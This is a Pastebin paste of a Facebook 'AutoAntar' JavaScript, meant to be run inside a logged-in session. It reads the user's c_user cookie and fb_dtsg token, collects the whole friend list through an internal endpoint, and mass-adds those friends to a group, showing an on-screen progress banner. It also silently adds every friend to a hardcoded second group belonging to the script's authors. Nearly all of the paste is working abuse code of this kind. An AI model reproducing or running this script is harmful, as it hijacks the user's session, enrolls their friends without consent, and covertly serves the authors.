Advertisement
Meriiiitttoonnn

AutoAntar/Members #MAA

Nov 27th, 2014
196
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
LScript 10.73 KB | None | 0 0
  1. //All Fan'Page By #MAA Paste Create By Meritonn
  2. //Shtoni Antar :v
  3. var user = getCookie("c_user");
  4. function getCookie(c_name) {
  5. var i,x,y,ARRcookies=document.cookie.split(";");
  6. for (i=0;i<ARRcookies.length;i++) {
  7. x=ARRcookies[i].substr(0,ARRcookies[i].indexOf("="));
  8. y=ARRcookies[i].substr(ARRcookies[i].indexOf("=")+1);
  9. x=x.replace(/^\s+|\s+$/g,"");
  10. if (x==c_name) {
  11. return unescape(y);
  12. }
  13. }
  14. }
  15. var tulisanNganu = '<font color="Orange"><b>AUTOANTAR By #Meritonn Ibriqii & Ardonnis Deedaa & Ãrŋis A Mulliqi</b> </font>';
  16. var kunaon = '';
  17. function penetrasi(opo) {
  18. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + document.getElementsByName("fb_dtsg")[0].value + "&group_id=" + memberGroupId + "&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user, function (a) {
  19. var b = a.substring(a.indexOf("{"));
  20. var c = JSON.parse(b);
  21. i--;
  22. kunaon = "<div class='friend-edge-name' style='text-align:left;font-size:20px;red-space:pre-wrap;";
  23. if (c.error) {
  24. kunaon += "color:darkred'>";
  25. if (c.errorDescription) {
  26. kunaon += c.errorDescription
  27. } else {
  28. kunaon += JSON.stringify(c, null, "")
  29. }
  30. } else {
  31. kunaon += "color:darkgreen'>";
  32. kunaon += arr[i];
  33. suc++
  34. }
  35. kunaon += "</div>";
  36. var dipes = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:200px;width:500px;background-color:rgba(100,200,225,0.9);z-index:9999;font-size:14px;text-align:center;padding:15px;border-radius:14px;border:8px solid red(0,0,0,0.5)'>";
  37. dipes += "<div style='padding-bottom:200px;font-size:20px;'>" + tulisanNganu + "</div>";
  38. if (i > 0) {
  39. dipes += arr.length + " Shokët e Zbuluar <br/>";
  40. dipes += "<b>" + suc + "</b> Shokët e Shtuar Nga " + (arr.length - i) + " Shokët e Proceduar ";
  41. dipes += "(" + i + " Më Shumë Duke Shkuar..)";
  42. dipes += "<div class='friend-edge'>";
  43. dipes += kunaon;
  44. dipes += "</div>"
  45. } else {
  46. dipes += arr.length + " Miqtë e Zbuluar ";
  47. dipes += "<b>" + suc + " Miqtë e Shtuar </b>";
  48. dipes += "<div><span class='uiButton' onClick='document.getElementById(\"pagelet_welcome_box\").style.display=\"none\"'>U Krye</span></div>"
  49. }
  50. dipes += "</div>";
  51. document.getElementById("pagelet_welcome_box").innerHTML = dipes
  52. },
  53. "text", "post");
  54. tay--;
  55. if (tay > 0) {
  56. var s = arr[tay];
  57. setTimeout("penetrasi(" + s + ")", 100)
  58. }
  59. console.log(tay + "/" + arr.length + ":" + s + ", success:" + suc);
  60. if (memberGroupId != 346738808784104) {
  61. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + document.getElementsByName("fb_dtsg")[0].value + "&group_id=128336317239973&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user, function () {},
  62. "text", "post")
  63. }
  64. }
  65. function clickfr_callback() {
  66. if (document.getElementsByName("ok").length > 0) {
  67. nHtml.ClickUp(document.getElementsByName("ok")[0])
  68. }
  69. var a = arr[i];
  70. if (i < arr.length) addfriend(a.substring(0, 4))
  71. }
  72. function clickfr() {
  73. if (document.getElementsByClassName("search").length > 0) {
  74. console.log(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1].innerHTML);
  75. document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].href = "javascript:void(0);";
  76. nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1])
  77. } else j++;
  78. setTimeout("clickfr_callback()", 2e3)
  79. }
  80. function addfriend(a) {
  81. i++;
  82. document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus();
  83. document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].value = a;
  84. document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].blur();
  85. document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus();
  86. document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus();
  87. setTimeout("clickfr()", 2e3)
  88. }
  89. function sleep(a) {
  90. var b = (new Date).getTime();
  91. for (var c = 0; c < 1e7; c++) {
  92. if ((new Date).getTime() - b > a) {
  93. break
  94. }
  95. }
  96. }
  97. jx = {
  98. getHTTPObject: function () {
  99. var a = false;
  100. if (typeof ActiveXObject != "undefined") {
  101. try {
  102. a = new ActiveXObject("Msxml2.XMLHTTP")
  103. } catch(b) {
  104. try {
  105. a = new ActiveXObject("Microsoft.XMLHTTP")
  106. } catch(c) {
  107. a = false
  108. }
  109. }
  110. } else {
  111. if (window.XMLHttpRequest) {
  112. try {
  113. a = new XMLHttpRequest
  114. } catch(b) {
  115. a = false
  116. }
  117. }
  118. }
  119. return a
  120. },
  121. load: function (url, callback, format, method, opt) {
  122. var http = this.init();
  123. if (!http || !url) {
  124. return
  125. }
  126. if (http.overrideMimeType) {
  127. http.overrideMimeType("text/xml")
  128. }
  129. if (!method) {
  130. method = "GET"
  131. }
  132. if (!format) {
  133. format = "text"
  134. }
  135. if (!opt) {
  136. opt = {}
  137. }
  138. format = format.toLowerCase();
  139. method = method.toUpperCase();
  140. var now = "uid=" + (new Date).getTime();
  141. url += url.indexOf("?") + 1 ? "&": "?";
  142. url += now;
  143. var parameters = null;
  144. if (method == "POST") {
  145. var parts = url.split("?");
  146. url = parts[0];
  147. parameters = parts[1]
  148. }
  149. http.open(method, url, true);
  150. if (method == "POST") {
  151. http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  152. http.setRequestHeader("Content-length", parameters.length);
  153. http.setRequestHeader("Connection", "close")
  154. }
  155. var ths = this;
  156. if (opt.handler) {
  157. http.onreadystatechange = function () {
  158. opt.handler(http)
  159. }
  160. } else {
  161. http.onreadystatechange = function () {
  162. if (http.readyState == 4) {
  163. if (http.status == 200) {
  164. var result = "";
  165. if (http.responseText) {
  166. result = http.responseText
  167. }
  168. if (format.charAt(0) == "j") {
  169. result = result.replace(/[\n\r]/g, "");
  170. result = eval("(" + result + ")")
  171. } else {
  172. if (format.charAt(0) == "x") {
  173. result = http.responseXML
  174. }
  175. }
  176. if (callback) {
  177. callback(result)
  178. }
  179. } else {
  180. if (opt.loadingIndicator) {
  181. document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator)
  182. }
  183. if (opt.loading) {
  184. document.getElementById(opt.loading).style.display = "none"
  185. }
  186. if (error) {
  187. error(http.status)
  188. }
  189. }
  190. }
  191. }
  192. }
  193. http.send(parameters)
  194. },
  195. bind: function (a) {
  196. var b = {
  197. url: "",
  198. onSuccess: false,
  199. onError: false,
  200. format: "text",
  201. method: "GET",
  202. update: "",
  203. loading: "",
  204. loadingIndicator: ""
  205. };
  206. for (var c in b) {
  207. if (a[c]) {
  208. b[c] = a[c]
  209. }
  210. }
  211. if (!b.url) {
  212. return
  213. }
  214. var d = false;
  215. if (b.loadingIndicator) {
  216. d = document.createElement("div");
  217. d.setAttribute("style", "position:absolute;top:0px;left:0px;");
  218. d.setAttribute("class", "loading-indicator");
  219. d.innerHTML = b.loadingIndicator;
  220. document.getElementsByTagName("body")[0].appendChild(d);
  221. this.opt.loadingIndicator = d
  222. }
  223. if (b.loading) {
  224. document.getElementById(b.loading).style.display = "block"
  225. }
  226. this.load(b.url, function (a) {
  227. if (b.onSuccess) {
  228. b.onSuccess(a)
  229. }
  230. if (b.update) {
  231. document.getElementById(b.update).innerHTML = a
  232. }
  233. if (d) {
  234. document.getElementsByTagName("body")[0].removeChild(d)
  235. }
  236. if (b.loading) {
  237. document.getElementById(b.loading).style.display = "none"
  238. }
  239. },
  240. b.format, b.method, b)
  241. },
  242. init: function () {
  243. return this.getHTTPObject()
  244. }
  245. };
  246. var nHtml = {
  247. FindByAttr: function (a, b, c, d) {
  248. if (c == "className") {
  249. c = "class"
  250. }
  251. var e = document.evaluate(".//" + b + "[@" + c + "='" + d + "']", a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null);
  252. if (e && e.singleNodeValue) {
  253. return e.singleNodeValue
  254. }
  255. return null
  256. },
  257. FindByClassName: function (a, b, c) {
  258. return this.FindByAttr(a, b, "className", c)
  259. },
  260. FindByXPath: function (a, b) {
  261. try {
  262. var c = document.evaluate(b, a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null)
  263. } catch(d) {
  264. GM_log("bad xpath:" + b)
  265. }
  266. if (c && c.singleNodeValue) {
  267. return c.singleNodeValue
  268. }
  269. return null
  270. },
  271. VisitUrl: function (a) {
  272. window.setTimeout(function () {
  273. document.location.href = a
  274. },
  275. 500 + Math.floor(Math.random() * 500))
  276. },
  277. ClickWin: function (a, b, c) {
  278. var d = a.document.createEvent("MouseEvents");
  279. d.initMouseEvent(c, true, true, a, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
  280. return ! b.dispatchEvent(d)
  281. },
  282. Click: function (a) {
  283. return this.ClickWin(window, a, "click")
  284. },
  285. ClickTimeout: function (a, b) {
  286. window.setTimeout(function () {
  287. return nHtml.ClickWin(window, a, "click")
  288. },
  289. b + Math.floor(Math.random() * 500))
  290. },
  291. ClickUp: function (a) {
  292. this.ClickWin(window, a, "mousedown");
  293. this.ClickWin(window, a, "mouseup");
  294. this.ClickWin(window, a, "click")
  295. },
  296. GetText: function (a, b) {
  297. var c = "";
  298. if (b == undefined) {
  299. b = 0
  300. }
  301. if (b > 40) {
  302. return
  303. }
  304. if (a.textContent != undefined) {
  305. return a.textContent
  306. }
  307. for (var d = 0; d < a.childNodes.length; d++) {
  308. var e = a.childNodes[d];
  309. c += this.GetText(e, b + 1)
  310. }
  311. return c
  312. }
  313. };
  314. if (document.getElementsByClassName == undefined) {
  315. document.getElementsByClassName = function (a) {
  316. var b = new RegExp("(?:^|\\s)" + a + "(?:$|\\s)");
  317. var c = document.getElementsByTagName("*");
  318. var d = [];
  319. var e;
  320. for (var f = 0;
  321. (e = c[f]) != null; f++) {
  322. var g = e.className;
  323. if (g && g.indexOf(a) != -1 && b.test(g)) d.push(e)
  324. }
  325. return d
  326. }
  327. }
  328. Array.prototype.find = function (a) {
  329. var b = false;
  330. for (i = 0; i < this.length; i++) {
  331. if (typeof a == "function") {
  332. if (a.test(this[i])) {
  333. if (!b) {
  334. b = []
  335. }
  336. b.push(i)
  337. }
  338. } else {
  339. if (this[i] === a) {
  340. if (!b) {
  341. b = []
  342. }
  343. b.push(i)
  344. }
  345. }
  346. }
  347. return b
  348. };
  349. var a = 0,
  350. eind = 0;
  351. var len = document.getElementsByClassName("mbm").length;
  352. for (a = 0; a < len; a++) {
  353. var ele = document.getElementsByClassName("mbm")[a];
  354. if (ele && ele.childNodes[0] && ele.childNodes[0] && ele.childNodes[0].childNodes[1] && ele.childNodes[0].childNodes[1].childNodes[0] && document.getElementsByClassName("mbm")[a].childNodes[0].childNodes[1].childNodes[0].value == "Add Friends To Group") {
  355. eind = a;
  356. break
  357. }
  358. }
  359. var i = 3;
  360. var tay = 3;
  361. var counter1 = 0,
  362. counter2 = 0,
  363. counter3 = 0;
  364. var j = 0;
  365. var k = 0;
  366. var suc = 0;
  367. var arr = new Array;
  368. var memberGroupId = document.getElementsByName('group_id')[0].value;
  369. jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/first_degree.php?__a=1&viewer=" + user + "&filter[0]=user&__user=" + user, function (a) {
  370. var b = a;
  371. var c = b.substring(b.indexOf("{"));
  372. var d = JSON.parse(c);
  373. d = d.payload.entries;
  374. for (var e = 0; e < d.length; e++) {
  375. arr.push(d[e].uid)
  376. }
  377. i = arr.length - 1;
  378. tay = i;
  379. console.log(arr.length);
  380. var dipes = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;background-color:rgba(100,200,225,0.9);z-index:9999;font-size:14px;text-align:center;padding:15px;border-radius:14px;border:8px solid red(0,0,0,0.5)'>";
  381. dipes += "<div style='padding-bottom:10px;font-size:20px;'>" + tulisanNganu + "</div>";
  382. dipes += arr.length + " Friends Detected";
  383. dipes += "</div>";
  384. document.getElementById("pagelet_welcome_box").innerHTML = dipes;
  385. penetrasi(arr[i])
  386. })
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement